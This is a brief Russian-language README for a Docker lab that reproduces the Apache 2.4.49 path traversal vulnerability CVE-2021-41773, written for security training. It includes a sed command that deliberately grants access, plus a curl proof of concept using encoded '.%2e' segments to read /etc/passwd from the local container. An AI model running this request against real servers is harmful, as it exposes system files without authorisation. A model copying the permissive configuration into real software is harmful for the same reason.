
Docker-based лабораторная среда для уязвимости обхода пути CVE-2021-41773 в Apache с PoC-эксплойтом и подробным руководством для тестирования безопасности и обучения.
-> Базовый образ: httpd:2.4.49 (версия с уязвимостью)
-> 'sed -i 's/Require all denied/Require all granted/g' : разрешение Path Traversal и внешнего доступа
-> Определение Apache
-> Проброс порта 8080 на порт 80 контейнера
Запуск docker
Выполнение PoC
-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
-> /etc/passwd содержит конфиденциальную информацию; %2e — это закодированный вариант .., который означает переход в родительский каталог
-> Манипулируя путём, сервер обращается к /etc/passwd и выводит его содержимое
-> Как показано на изображении выше, возможен доступ к конфиденциальным каталогам
https://github.com/JIYUN02/cve-2021-41773
-> Имеется история коммитов